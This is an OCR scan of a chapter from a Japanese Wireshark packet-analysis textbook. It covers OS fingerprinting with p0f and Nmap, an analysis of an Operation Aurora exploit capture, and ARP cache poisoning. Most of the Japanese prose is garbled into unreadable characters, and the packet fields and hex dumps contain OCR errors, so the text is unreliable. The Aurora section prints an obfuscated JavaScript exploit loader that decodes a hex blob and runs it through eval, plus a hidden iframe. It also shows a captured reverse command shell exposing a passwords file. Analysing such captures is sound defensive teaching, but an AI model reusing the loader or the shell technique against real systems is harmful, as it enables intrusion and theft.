
NMap. BSD. Mac OSX. Linux
Novell, Windows
Cisco IOS. Palm OS. Solaris

BSD. Mac OSX. Linux. Novell, Windows. Palm OS.
Solaris

Nmap. Cisco I0S

Nmap

Windows. Novell

BSD. Mac OSX. Linux. Solaris
Nmap

BSD, Mac OSX

Linux

Novell

Cisco IOS

Solaris

Windows

Linux. Windows. OpenBSD

Nmap. FreeBSD. Mac OSX. Novell, Cisco IOS.,
Solaris

[ 1 0.000000 172.16.16.134 168.142.162.100 TCP 1176 > 80 [SYN] Seq=2123482630 Win=64240 Len=0 Mss g & |[ = [@] %]

R ]\ 8 20000108 17216.16.134 168.143.162.100 TCP 1176 > 80 [SYN] Seq=2123452830 Win=2920 Len=0 Mss=14k | B | = [ & |

B Internet Protocol,
version: 4
Header length: 20
Total Length: 4
1dentification: 0
Time to Tive: 128
Protocol: TCP (6)
source: 172.16.16.
source port: 1176

Destination port:
[stream index: 0]

Flags: 0x02 (S¥YN)
Maximum segment
NoP

Nop
sack permitted

bytes

x4d80 (19840)

Flags: 0x02 (Don't Fragment)
Fragment offset: 0

134 (172.16.16.134

(1176)
80 (80)

sequence number: 2123482830
Header length: 28 bytes

size: 1440 bytes

@ Header checksum: Oxasbd [validation disabled]

Destination: 168.143.162.100 (168.143.162.100)
- Transmission control Protocol, Src Port: 1176 (1176), Dst Port: 80 (80)

Checksun: 0x3670 [validation disabled]
& options: (8 bytes)

Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits)
Ethernet II, Src: 00:0c:29:F9:74:d8 (00:0c:29:9:74:d8), Dst: 00:05:5d:21:99:4¢ (00:05:5d:%| Ethernet IT, Src: 00:0c:29:f9:74:d8 (00:0:29:f9:74:d8), DST: 00:05:5d:21:99:4c (00:05:5d:%|
src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.1(| || Internet Protocol, src: 172.16.16.134 (172.16.16.134), Dst: 168.143.162.100 (168.143.162.1(

Differentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)

, Seq: 2123482830, L || 1 Transmission Control Protocol, src Port: 1176 (1176), Dst Port: 80 (80), Seq: 2123482830,

0000 00 05 5d 21 99 4c 00 Oc_ 29 9 74 d8 08 00 LEgY
NOST-00 30 3d 80 40 00 80 06 a5 bd ac 10 10 86 a8 8f]

0 7e 91 c6 ce 00 00 00 00 70 02
0030 fa fO 36 70 00 00 02 04 05 a0 O1 01 04 02

0020 (LT 0¢ 98 00 50 7¢

Frame 2: 62 bytes on wire (496 bits), 62 bytes captured (496 bits)

version: 4
Header Tength: 20 bytes

pifferentiated services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
Total Length: 48
Identification: 0x4dso (19840)

Flags: 0x02 (bon't Fragment)
Fragment offset: 0
Time to Tive: 64
Protocol: Tcp (6)

@ Header checksum: Oxesbd [validation disabled]
source: 172.16.16.134 (172.16.16.134
Destination: 168.143.162.100 (168.143.162.100)

source port: 1176 (1176)
Destination port: 80 (80)
[stream index: 0]
sequence number : 2123482830
Header length: 28 bytes
Flags: 0x02 (SYN)
Checksum: Ox25e5 [validation disabled]
& options: (8 byres)
Maximum segnent size: 1460 bytes
noP

NoP
SACK permitted

ol | il ’

0000 00 05 5d 2199 4c 00 0c 29 F3 74 ds 08 00 (Y
0010 [ &5 bd ac 10 10 86 a8 &f]
0020 LT 04 58 00 20 Je a1 ca 2 30100 00 100 70 03
0030 0b 68 25 e5 00 00 02 04 05 ba 01 01 04 02

K10-7 /X7y b5 OSHHFECES

F#10-1 %ML T, N7y P TEICHMET S 7 4 — LV FOFEM (210-2) 21EV £ L7,




——

212 | 108 wFaUT &)y MBI

£10-2 N7y RBIDOST 1 >H—-T) b

ZFARINAYSE | T4—IVF | 784 M1 DfE | 184 v b 2@
IP WM TTL 128 64

P TITAYNEILT T RE RIE

TCP BREZ AV A X 1,440 /54 b 1,460 734 b
TCP Y4 Y RHA R 64,240 54 T 2,920/54 k
TCP SackOK By FRIE

INSHDHIZE 5T, 2% v FLIZWindows #2352 5. 7847 v b 21& Linux #2522 5 3% SN 7z & 4
WA LN TEET,

K101 D— W BRIy T T4 AN =T ) VDT 4=V F—Ei3, RN IOTERHYEEA,
SEIFLRBERICLD, HIHECPAELZLEDDHVET, TD2D, Ny T T4 A =T 7 My
LD NIRERICEHMICHL Z L3 TEE A,

W N
SN OST A VH—TUY MFEICHERDY—ILDUEDHPOTT. ZDY—ILIF/T Y
.‘s v TFvhSET 1 —)URZET L. TTREMDSHH0SZEEH I LER T, pOfD K D7

V—)L7ZEED & OSDIEFERITTHL. ZON\=I 3P\ FETHRHECTEDES
P& D FET, pofiEhttp://Icamtuf.coredump.cx/p0f.shtmhSd¥ D O— R TEET,

10.1.2.2 795747740 H—JUUH  activeosfingerprinting.pcap|

ST 74 7 RERT 2T TEHERIHEON 2 WEE, JVEENLT 0 —F 0%
WCBDET, SNETIZTATTAYH =TI VeI ET, WEEHIZOSEHETAI0EET &
T2, N ES 787 v P HERICHRF L E T, COTFETIEEF LEESLVID Z17H) O
THEMNEIEZD ) TEAD, DRVOREIDHET,

7 7 4 v activeosfingerprinting.pcap {2i3. Nmap A ¥ ¥ =T 4 VT4 2ffio/z7 7574774
IH=TV Y MAF Y DY Y TUDBEENTET, 774 VHNOS T v ME OSEHFET BI04
ZHIEMTLORE SN TE—T %, Nmap B> R TTo Nmapld I s 70— TADIB %
EREELTTIA =T VI EER L, = RXR—ADHE B L TOSEIFE L9,

W N
AN NmapD 7 27 4« JICOSERFET DIEHICAHWNDFEFD LD EM TI, NmaplC
.‘s KRBTV ITAITH T4V A—=TUY MR EDKDICRTEINTVDDESSITERIC

[F. NmapD{E#E T &2 Gordon "Fyodor" Lyon(C &K@ Nmap/- K [Nmap Network
Scanning] ZZR LTS,
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10.2 EA

BEZ AL, BAZHIELTWET, fAZITV, BEHEMEZEL. Tz o0, BT
X ATBOORETU T AERHEMLET, TOEDFKY OIS TIX. Microsoft DH k> EFiD
WEESHE T AR T T T A ARP X ¥ v Y a2 RA V2V WL BT T4 7 D)FA LI b, 7=
FOWELZLEITHIVE— T 7 HRAB IO DOREE Vo7, SESEFLRRBAFEEZRTVEE L
Do

10.2.1 Operation Aurora

20104E 1 H. Operation Aurora 4 F 7251 51T\ 7272 7z Internet Explorer O g 5514k % Br#
LE L7z WBHEIZIZONFHUZEH L. Google XU E T 5 MDY Y ¥ % root HEBR Tyt i
YELZ=DTY,

I —HF—HWE§5 D H % Internet Explorer TWeb ¥4 F 235750 T, TOEEDHLa—F
WEITEN, WRLEIEREHBRTLI—F—DFRAMIT 7 EATEL LAY E L, Thicid
BEDHLTA MDY 725G X = VERET AT RYEBOFONELRE L7,

ACETRBBED X = VIAEHATESMTPOREIN TR S L) ITREPT TV E720, I
EWDTY,

Aurorald, By & SN2 —F —DBRAETRBEDORA VD) ¥ 7% 7 ) v 7 Lzt E0bIiE -
TWwE$, 774 Vaurora.pcap \ZHERD 7 v MBS A->TWE T,

F v 7 vid, BEEF (192.168.100.206) & BB (192.168.100.202) D37 = A NY Fyx A
I THEoTVET o RMOEHIZOFAR—FTIrbTWEDT, HTTP M7 74y 7 2 TX
WTLEIo ZOHENIE, 4FHD 7y 1 CTH S, /info®HTTP GETY 7 T A M@IZ & o THERT
&F3 (X10-8),

[ 4 0.000465 192.168.100.206 192.168.100.202 HTTP GET /info HTTP/1.1 Bl S

Frame 4: 345 bytes on wire (2760 bits), 345 bytes captured (2760 bits)

# Ethernet II, Src: 00:0c:29:07:ae:27 (00:0c:29:07:ae:27), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee)

Internet Protocol, Src: 192.168.100.206 (192.168.100.206), Dst: 192.168.100.202 (192.168.100.202)

® Transmission Control Protocol, Src Port: 1031 (1031), Dst Port: 80 (80), Seq: 3982970894, Ack: 3036725423, Len: 291

B GET /info HTTP/1.1\r\n 1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n
Accept-Language: en-us\r\n

Accept-Encoding: gzip, deflate\r\n

! User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1; svi)\r\n
Host: 192.168.100.202\r\n

I connection: Keep-Alive\r\n
\r\n

0030 fa fO 9e d3 00 00 FEEFEIEETFEFIEF] TN 0
0040 EENEEEETEETVIEETINE Sl 41 63 63 65 70 74
0050 3a 20 69 6d 61 67 65 2f 67 69 66 2c 20 69 6d 61 :
0060 67 65 2f 78 2d 78 62 69 74 6d 61 70 2c 20 69 6d ge/x-xbi tmap, im
{0070 61 67 65 2f 6a 70 65 67 2c 20 69 6d 61 67 65 2f  age/jpeg , image/

NNON TN &~ 7N &5 &7 O~ &1__7In £1 74 G0 ninan  a anldicaes

on In &~ &0 &>

H10-8 #HEEH/infodGETU Y IR MEX(E

S




——

214 | 108 FaUF &)Wy MR

WBFIIGETY 7 T A MCACKZ BH L7t 6FHD/S7 v PTAT—4% A3 —1F302 (Moved
Temporarily) Z3EHLE$, THOATF—F 22— FIE—fKIZ, JOXR=JI12) ¥4 L7 M BHEEIC
MubshEd, 25— 23— F302@Q & £ b 12, Location 7 1 — )V F T /info?rFfWELUJLJHpP ¢
VFZA4 L Mk LTiREShTwET (K10-9),

[ 6 0.278842 192.168.100.202 192.168.100.206 HTTP HTTP/1.1 302 Moved o]l =1 R |

Frame 6: 191 bytes on wire (1528 bits), 191 bytes captured (1528 bits)

Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:07:ae:27 (00:0c:29:07:ae:27)

Internet Protocol, Src: 192.168.100.202 (192.168.100.202), Dst: 192.168.100.206 (192.168.100.206)

Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1031 (1031), Seq: 3036725423, Ack: 3982971185, Len: 137

=]

content-Type: text/html\r\n
P Location: /info?rFfWELUJLIHPP\r\n 2

Connection: Keep-Alive\r\n
server: Apache\r\n

content-Length: O\r\n
\rin

6c 0d 0a [ 69 6T 6e 3a 20 2f 69 6¢]
66 6f 3

72 46 66 57 45 4c 55 6a 4c 4a 48 70 50

0080 [sfiE! 43 6T 6e 6e 65 63 74 69 6T 6e 3a 20 4b 65

0090 65 70 2d 41 6¢C 69 76 65 0Od 0a 53 65 72 76 65 72

00a0 3a 20 41 70 61 63 68 65 0d Oa 43 6f 6e 74 65 6e
74 _IA Ar &5 _En £7 FA_EQ I N _IN NA N~ NAd_Aa

nAkhn

4

E10-9 ZDINFy NTCIFAT U DT I IR IZALTREND

HTTPAT =% ZA2—F3020D37 v b2 ZF B L. 27547 ¥ MI7THFEHD /8 v T, /info?
rFfWELUJLJHpP &9 URLIZBID GET ) 7 TA M 2% D, 8FH D/ v FTACK % 2 JHL) 97,
ACKIZHE WL oh D287 v ME, BBEEDPOHEEENLEREINIZT =TT, TOT7—5% XL
WalzH, AM) =20 9FHD/ v 24521 v 2 LT, [Follow TCP Stream] % #R L F
To TOAN)—2OH I, BADGETY 7T A, 3020 ¥4 L7+, 2FHDGETY) 7 T
FEFRENTVWET (R10-10),

ZDHEPHITOPITIRRS BN L RoTEE T, ABEFIIIFEFIHFY TV TGETY) »
IAMIBELTWDEDTY, 2D YT VY ORPOFMRITZR10-11I1TRLF L7z,

aVF U Vid<script> ¥ I IR, —HOT UV ALEIFELTFOIIICRZTTO, K
27 ) TIEBEEMSTVDE I ERRTOICHTMLA T DN S DS <script>7 7T, 2D ¥
FTHENESIEEHESEIEEIRAZ YT IDATF— AV IEEENETOT, ZOTHELD%
WFEEEP ORI E RS A720IC2 3= FENTWEL LW ERbMDFET, T TlEIh
WRETT T T L2 Do TRDEDT, TOERAY LT F A ML, 371 v 7Rtk # W
FTH2ODY VA= FPEHEEFNTVDLEEZTINVWTLL ),

BBEDPORBFEINI T T Y ORBOHSZBE10-121R LET, Ty I—FEN7zT7F X+
DHEI, EHIRHEIENTELTFAMNE RO FE L, RMERTOT T3V 7 OM#A % T
b, ZOTFAIMPIAKOPOEHPLLTFHNZBEILL L) ELTVEODEHITHZET, Zh
</script> ¥ 7 CTH LU OSNBHIDOT F A FORFEDHITTT,

S




102 B8A |

215

—
I Flon TCP 5720 s e ——

(Bl [ © i)

Stream Content:

GET /info HTTR/1.1

accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
ACcept-Language: en-us

Accept-Encoding: ?zw‘p, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
HOST: 192.168.100.202

Connection: Keep-alive

=/

HTTP,/1.1 302 Moved
Content-Type: text/html
Location: /info?rFfWELUjLIHpP
Connection: Keep-alive
server: Apache
content-Length: O

GET /info?rFfWELUJLIHpP HTTP/1.1

Accept: image/qgif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
ACCepT-Language: en-us
accept-encoding: g.ljzwp, deflate
user-agent: Mozilla/4.0 (compatible;
Host: 192.168.100.202

Connection: KEEP -Alive

® f%

MSIE 6.0; windows NT 5.1; svl1)

HTTP/1.1 200 0K
content-Type: text/html
Pragma: no-cache
Connection: Keep-alive
server: Apache
Content-Length: 11266

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0//EN">

-

‘Entira conversation (12692 bytes) Izl(:) ASCI @) EBCDIC @ Hex Dump © C Arrays @ Raw

[ Filter Out This Stream ] { Close

Stream Content

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<sn:r‘1pt>

.var IwpVuiFqihvySolstwxmT =
04271477133b000b130c240339133(:120&2805160&1503684d705005291308091b3e62713e1122520b03123d051808392c0d27123b
0a0805033c1c0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39394a716a26152752071
42524357d43772c2702705a2T466a657 c6e4a256a7450614176566c65257e4165310515150a0f2b35302a103d0e03041e02343623a
3c34073e1b0d0d02131e3f1635200e21101c38093913112e32222321113239302133381b330a0c2c1175576c2e2713251F2308236b2
f270f2d3e2d353c172b03393164031d192b1e363c012f072d311538230f2e113979490b03123d051808392c0d27123b0a0805033clc
0735321a2407350314142935250829083c0a0000072f142624011f2a27022825082f253f2c39393125176614310627466a656e0d3a3
968730d261334463b1122303b07052d3d3705303e36340f05131d0b2934142b070d33657175043926244b261334461d362b31063d3e
00263e1c110f11080250e340020150110220c1el11c3d0e273f3a3a21050f2b2208341f04042c684d701c231177043e270b3562614
b26133446220e083e1c0d0e1b3d1d31362b271221170036001a240230092e222638383d152b1a23162b0d3330230b14053e3e3cla32
1537122d27043a30271d2439383b121f160a033e1c211e383f203e3e143136190210081f2c1e231603112d363975576c3f261523112
716327e2a20042f3e211f3e5221212e233d131c0f1318223d2a24080212361718392626070a24072c27102533210823092a15390917
190d3e3310250d0c04053d04173d1c0f212b180820333c382d3e3d2036000921320alc36371ede7e3e3a34186c271F1707352e1f260
ala2d281c3b3clel13411272e3d2419043d080611023c280d1c3318332b3b1c3d061f0b050810103b173a160f32230a060d16260216
001c1c05684d70070d223c330d113901070b001d02110b152f36113818180a3f180725123a121534381f0c113b05152021162a3e211
©26282f012408242e381127020605220124293309293¢3321011a033a040822143533003f08000222392c35270835137f656b701f2a
727c4175077f5565726920537b782e55254b7152366039610b75286d05364b7255723078305e2e6T3d49624b764322237461086937
b47694063136423756c4f392c7d49695733526F7c7d701f75287b167507725F632369205e2979715525417152616039315c78786d05
644a720372302a6d592a6f3d44364b774322767b6153693f7c4164136313637c2a314f3973704966573355602328701f782b7c11750
77f506e7469205e7b7e7a55254623526460396c08787d6d056910715672302a6d597b6f3d1669462743227129665d693f2e13364763
136e762a3647397e29433657335460717f701f75727c16750722506e726920537b2c7d55254b7752646039615b78726d0536477F567
2302a365e746f3d44361474322777b315c693f7c116245631331217e6241392c7d4963573300337174701f75727116750772076€75
69205e742c7d5525467F00336039615375796d05644a74517230756d53756T3d43364b2443227c7d6c59693T2c46644a631331217F3
341397e7a4469573354602328701f752c714075072002647269205e7d797f55254b7f5F 6460396 5d78796d05364775517230756d5e
7d6f3d493240714322767b6c5969317141644063136e74756341397e7044675733006F2374701f2a2e7c48750772556e776920592a7
3795525462452646039615a787d6d056942200572307566592a673d496840714322777b610c693f7c4963456313637575674F397e79
422RR72252257,7A701F2a727h1 A75NT 72 ENRETCRA2N5aThTa71 552 54h7NSFARANIOACS27RT RRANSAAAITIST722INTSATRA2aRF2A4DA

-

[SaveAs] | Entire conversation (12692 bytes)

|z|© ASCI @) EBCDIC @ HexDump ©) CArrays @ Raw

[ Fitter Out This stream | |

Close J

10-11

<script>&#J CHEN/-O> T

VIFILO—-RIhTWBLIICRZS




216 | 108 wFIUT &)y MBI

i Follow Tcpvs;m.r—— [PTR=S E= )

Stream Content

402062f2f0e67657b0322242d0218260b2a77786c7748773d211e341d31482420381c0438213a06311e6e08363c261b1f1f242b1e28 =~ "
35280e0d0106272f142b3c23141936097b6579654377372e053e11320f382b6c3b0b35200605031c25082f02223d3008003a3508133
235132e3c3a42653138506d52643a22752F650c103F781360161a1367267c3136397a2b40342e3356347528091F7c2978140c077605
672110205a2f7a2c2c2542255633193965097c2e1405601176020b307¢c365a28163d403342223a22752f650e103f781360161a13672
67c3136397a2b40342e3356347528091F7c2978140c077605672110205a2f7a2c2c2542255633193965097c2e1405601176020b307¢c
365a28163d403342223a22752f650e103f781360161a1367267c3136397a2b40342e335634752809117c2978140c077605672110205
a2f7a2c2c2542255633193965097c2e1405601176020b307c365a28163d403342223a227527650e103F781360161a1367267c314877
2c2702705a2f466a657c6e4a256a74501d17031e1e082e200c091d0a391c1c1420270c212c121el1e1f371500050a2e352e302838301
I 802113b05053f1139330706123d0a39312e0f222962390f222d3c186b522f4d7c6c37180F0932013d3207202300070519041e0c3839 I
3d0b3e3403120b10180f263100321704122d153e1423029202425142b2c0f30363c2924233d1c0b1b1b48332438344a716a384b2d0
42714773%6(6843201&26150139090313223b23322d3b0b2029230707130115140128643b0233372a03332022215131
var Rxb =
cc(frr (T = (@ 1<Iw¥Vu1Fq1rNysonthmT.'Iength,1+=2) {
.}Rxb += string. fromCharcode(parseInt (IwpvuiFgihvySolstwxmT.substring(i, i+2), 16));

..var vuIMGWSVUonerzpquXPrZNSKRGee = Tlocation. search. substring(1);

..var NgxAXnnxiILOBMwvVnKognbp = "';

..for (i=0;i<rRxb.length;i++) {

. . . NgXAXnnxiILOBMwVnKognbp += String.fromCharcode(Rxb. charcodeAt(i) A
VUWGWSVUONXrQzpggBXPrZNsKRGee. charcodeAt (i%vuwGwWsvUonxrQzpqgBXPrZNsKRGee. Tength));

: :w-i ndow["eval”.replace(/[A-Z]1/g," ") ] (NgxAXnnXiILOBMwVNKognbp);

<ﬁ.]cr'épt>

</head>

<body> o 9

<Is_‘.¥an 1d="vhQYFCtoDnozUOuxAf 1D52VMIHYh]J0jAOCHNZtQd1xSPFUeEThCGARLIIY "><iframe src="/

OWTVeeGDYJWNFsrdrvxiYApnuPoCMjRr SZuKtbvgwuzCxwxKjTEc1bPuiPPctcf ThstTMRrsyx1. gif”
/| | lonToad="wisgEgTNEfaONekEqaMyAUALLMYW(event)" /></span></body></html>

</body> 2
Eind || Save As Entire conversation (12692 bytes) @ ASCH © EBCDIC © Hex Dump @ CArrays @ Raw
(Eing] (save s pone [=]

|

| [ Filter Out This Stream ] ( Close. J

L J

10-12 H—/\P5EESNAEILTOYDKEICE, B TE2TFAMEELWiframePEEFR TS

WA AT ¥ MCREE LT = ORBOIFE22IHHPNTE T, BADXr v a v
13 <span id="vhQYFCtoDnOzUOuxAf1DSzVMIHYhjJojAOCHNZtQAd1xSPFUeEthCGARtIIY">@
T 2FHDE 7 ¥ 3 vid<spans</span> ¥ ZI2IE X TN T 5 <iframe src="/infowTVeeGDYJ
WNfsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEclbPuJPPctcflhsttMRrSyx1l.gif" onload=
"WisgEgTNEfaONekEqaMyAUALLMYW (event)" />@ T3, #DEL T TH, ZoarF U YIidARH
RIZRW, ERARE R T VA LT THY, bIELPDIIKL LTV LIRS H 2 15 b,
EEOLWHHOGIMEEZ S5NT T,

<span> % 72 F N7z T — FOERG L [iframe ] & FEN, BEENHTMLR—=JIZary5 oy
MDA L XM ) I HDTHETT, <iframes> ¥ F 3L —HF —DHEETEL VWA VI T L —
LEVERLET, 22 TO<iframes ¥ F3HW R LHOGIF 774 V 2B LT T, HEH
DTITIFRIDT7ANNOBIRAMEL L) LT5L, R10-13D X H 12, 21FHO/7r v b T
GET) 7 ZAMS#HN@. TCICIOGIFARRFEEINTTO, ZOGIFIEBZ 5L, TTICHES
DIV VNIFTT U= FENTWLRBETU ST L2 BT 50ICHHEINE L BbhET,

MNo. Time Source Destination Protecol _ Info
21 0.455107 192,168.100.206 192.168.100. 202 HTTP oGET /infowTVeeGDY JWNFsrdrvXiYApNuPOCM jRr SZuKtbvgwuzCXwxKjtEc1bPuIPPctcf ThsttMRr Sy;
22 0.199959 192.168.100.202 192.168.100. 206 TCP 80 > 1031 [ACK] 5eq=3036736951 Ack=3982971911 Win=64518 Len=0
22 0.001166 192.168.100.202 192.168.100. 206 HTTP eH'I'TP/l 1 200 ok (GIF89a)
24 0.161592 192.168.100.206 192.168.100.202 TCP 1031 > 80 [ACK] 5eq=3982971911 Ack=3036737098 Win=64093 Len=0

X10-13 #WEH$iframe TIHESN/AGIFE)IIZRL, 49> —-KT3

T BEAGE  E@E OMTIRICIE, WBE T — Y ICEESDH LT — AR ENL Z LR EICEDH TS v BRI
ZOEH T — ¥ AT AR HHOMITETR, ZHBEMNOBREZEMLIL £ 9,




——

102 BA | 07

COF ¥ TF v TIICH W RIS 25F% Ho o v M ER P RERIT4321F R -1 Tat
syavERBELINELTOEY, 202%FHDEEA M) — 4% [Packet Details] X4 ¥ THT
DIZLALCTHEMPERVOT, HETCPA M) — 2% T, RIPMY SNTVETF—F % L{HARTH
FL X9, ®10-141% [Follow TCP Stream] ¥4 712 7O T,

r. Follow TCP Stream P = x|

rStream Content

.......... e T T P R Y G 7 o <a|
‘RW.R..B<...@X,.tJ..P.H..X ...<I.4,
8. u. s }Suxxs.. M <l dR s D5$[[aYzQ i ..Jhcmd. . .wwwl.j.vv..f.D$<...D
o DTPWVFVNWSVhy.? ..... NVES O Mibccoco
0j.S..Microsoft windows xp [version 5.1. 2600]
(c) copyr1ght 1985-2001 Microsoft Corp. o

d:\Documents and settings\Administrator\Desktop>dir e
A

volume in drive € has no Tabel.

volume Serial Number is 84AA-COSE

Directory of C:\Documents and Settings\Administrator\Desktop

07/13/2010 05:33 PM  <DIR>
07/13/2010 05:33 PM  <DIR>

07/13/2010 05:33 PM  <DIR> data
07/13/2010 05:33 PM <DIR> docs
07/13/2010 05:34 PM 227 passwords TXT

1 File(s) bytes
4 pir(s) 19,271,598, 080 bytes free

C:\Documents and Settings\Administrator\Desktop>|

[Save As]‘ Entire conversation (899 bytes) B () ASCI @ EBCDIC ©) HexDump @) C Arrays @ Raw
i
[ Fitter Out This Stream | [ Close ]
& J

X10-14 HEEH 273> ETaAT R TILEFESTVS

ZOWindows I ¥ FY 2 VASHERTE 725, I ER S LETT@. 2D Y = VIZWEED»S
BEHEDT —NNEOLNTH DT, WEZORADPEI L, XA T—FOREMIZOEIILTLE -7
CLEEMRTALDENLTT, XBT U7 I ANEHTL L, ER IV P V2 RBHIC
BEHLET. ZOF ¥ 7F ¥ T, WEEPAIra~ry FEANLO, HEHEDORAIOF4 LY MY
ERTWALEIERDINETO,

ATV RV NVIZT 72 A LB, HEZORANOEREERIEONLOT, IFEHUE
TEL LBV ET, Z2olz—ED, bTWEHO 2 ) v 7T, WEZOFA NOFEMRILT T
WREIZFESTLEIDTT,

COXIBRKETOT S AE, Ay T =2 EOIDSICRIBENRZDOZF 720, RV SN2
BEbP oV EHICHHE LY I—FINTVWET, ZOLDIORETOT T AIOVTHLRT
DHS>TVEH RRETT 75203 —FOFN WAL, S5RLHNTE LAVIRY, #ELED
VAT AT ETVLE2ZEMICIEET 20N ETT, FWIZHLIONTry by 7F v
3, EEDHDL I FOWSILIEE. DF ) <script> ¥ T ENLEEFIL I N2 T F AN, W%
iframe. ZLTCEXLDIY Y FYzvd3HhYF L7,

Operation Aurora DE T T 7 G AN ED L) IZHET L2022 T LDTATL L),

S




——

218 | 108 wFaUT &)y MBI

o WEFIFHCELLERELIT LA —NERBEZNLZITIY, ZOHD) 7% 7YY v 7§
bE, WBRHOEED LA PNGETY 7 ZAMPRREINET,

o WEZDOWebH— N"HPPEHIZ302) ¥4 L7 b kg, BHEHEOTIIFIIVFA L7 P&
N7z URLIC, HBIWICGETY 7 A M #ELE T

o XD WebH— N, WETOr7ILL, BEDHLGIFA A—I~D) ¥ 7 % f ATiframe
ZEHt LW JavaScript I — KO A 572 WebR—V %2754 7V MZFRLET,

o WEHIIEEDHLAA—VICGETY 7 A M %B L, Thaed—npssrru—FLET,

o JGIZHEME SNz JavaScript 2 — FSEEH 5 GIFIZ X o TREFH S L #iEH o~y v Eca—
F239247 &1L, Internet Explorer Dfaggth g X £ 47,

o JEEEMEICLVIRASNL L, T—FIZEEN/RS B — FFETEN, 4321 F R — N CTHES
EREEMOF 2y v a YHBIB IR E T,

o XAT—FpLav Y FYz VAR EINT, TBEFEH SN, TEEF I P o vk
NBEHIHRYET,

Bl oOEE A H5EI &, TOFYTFX 774 VRSIDSOY 7 A F ¥ #EETIUE, 5B ID
BEPRZLZDOEETFE20D LNFEFTA 728 213, <script>% FTHENTF A MNORKICH
XD DX, WAL EN TR WIBGTIANY THIENTRETT, H5WVIZURLIS
linfol A& ENBH A MA302TYFA L7 FENZZFTRTOHTTP NG 749 0% T4 NI THY T
FAFrRLBRTHIEDEZONT T, 2 LAY A F v 28Tl IIZ S SICHET 030
HYFTH, BLHRWTATAT T,

8‘%“ BEDDINS T4vIDH YT EDHEICYIRF v EERTDDIF. KADERH S
.‘S XY RI—=0&FADIETDANCEODTEELRAT Y ITI, CCCHEALIELDE
: FrIF v VIRFYEERTIRAFIZELDICRECTT. BABRAEKEY D
XFwICDVTEBIZHD fZIFNUE. Snort 7O T 7 b http://www.snort.org/ ZS 8
LTLEEL,
10.2.2 ARPFvvyoaRaA4VYZVI

ARPF v v ¥ 2 KA V=V 72O TUE, BIBHISEA L. 237y Mg L2260 b7 710y
ZICEDAL FBEE L T2 THHELE L2, ThEAY NI =22y V=T8T IR IOH
WYy —NVERVFET, L Lads, BREERF- TSNS L, mlHE (MITM) S L <3
bl Bis0TY,

HRIZERECIE, JEZ B EOE N AARLYLEEIT ) 1202, 26OHEHEMONT T4y 7 %) 7
AV LET RBEREIE, £y a4 Py 27 DNSAT =747, SSLNA Vx v s
rEt, SESELRFEVHVET,

ARP ¥ v v ¥ aRA V= v 7Tl FEINES N ARP /S v M2 XD, 2B ORERRICH WISEE L

S




| —o— i

102 A | N9

HoTnBERVIAFEF T2, EEIE, HHISHE LTSy PR LTS HE3H L HE S
TET,

7 7 4 Jvarppoison.pcap {2t ARPF¥ v v Y 2 RA V=V FOH v TR EEFNTHWET, 774
WEHCE, —RMOET SRV E IR R, BHEHTH 5 172.16.0.1077%° Google Z BIFE L. fisk L
TRV DANET, COMFICEY, DNSZ YR E-7ZHTTP b 74 v 7254 LT E T,

ARPX v v ¥ aRA V= v 32 Cclibhb T 7 =y 70T, [Packet List] XA ¥ T/¥7 v
FEFRRTALZEDTEETH, RIEATAE RO L0138 L £ TY, [Packet List] <4 »iZw
KOWH T LEBIMLT, DHPVRILLTAELL ).

A =2 —75 [Edit] = [Preferences] Z#iRL 9,

[Preferences] ¥4 7027 DM ® [Columns] %27V v 7 LET,

[Add] R %2V vy o7 LET,

[Source MAC| & AJJL. Enter ¥ —%H#L 7",

[Field type]l ® Fa» 7% 1) Z MC, [Hw src addr (resolved)] Z#INL 97

BEIML7ZEPVOT M) &2 v 7 LT, [Source] 7T LDFTHEIKDBEIFRTIvILE

s

7. [Add] K > %27) v 7 LET,

8. [Dest MAC| & AJJL. Enter¥—%# L 7,

9. [Field type]l ® Fa» 7% 7 1) 2 MT, [Hw dest addr (resolved)] ##IR L 9

10 8ML7zErD o> b %22 Y v 7 L, [Destination] #5203 H LIl AL LI NIy I L
E4e

1L[OK]I RZ v %2 ) v LET,

SR A

CO—HMOEEERETTAH L B10-150 %) W ICE 23T T, ThT87 Y FORETT
EHEDOMACT FLAZIRT 2DOD% Z LAD5EMTE E L7,

T EFUE D BINENATICH S [New Column] &\ B %E 7)) v 7 LT, BHEaZEWRICL TSR
DRV ET,

T BRI - 8470 [Field typel #7205 % 270 v 7§ 5 0ERH Y $7,

i EGRE  EMICETIEILO [OK] Ry v %22 ) v 2T 5RIOM T,

| S |



——

220 | 108 wFIUT &)y MET

I B User Interface Columns
Layout [The first list entry wil be displayed as the leftmost column - Drag and drop entries to change column order]
Displayed Title Field type
e Time Time (format as specified)
L Source Source address
e Source MAC Hw src addr (resolved)
Prinking

Destination Destination address

LTy Dest MAC  Hw dest addr (resolved)

ElESyExnISShns Protocol Protocol

Statistics Length Packet length (bytes)

Protocols Info Information

EEEEEEEEHE

Properties

Field type: ‘Number El
Field name: ‘ ‘ Field occurrence: l:l
oo | [ ]

E10-15 ZFETEFEDMACT RLRERTH -G h T LMEBINEN=HT LREER (/N—321.8.0)

MAC 7 F L A DZRHRERDA BN 2% o TOIUE, W5 LT A HEA Dell & Ciscon b D72 E b
PHIETTT, SNRFFLCEELZOTRATBETLL ). G¥hEVHI L, YT Fr2 A7 0~
VLTwE, 4FHD/ 7 v T, Dell OB (BEH) L7 Ao TE-HP O S (BBH)
LD, WWHRARP IS 74 v 7 BFEL TR B0 5TT (K10-16),

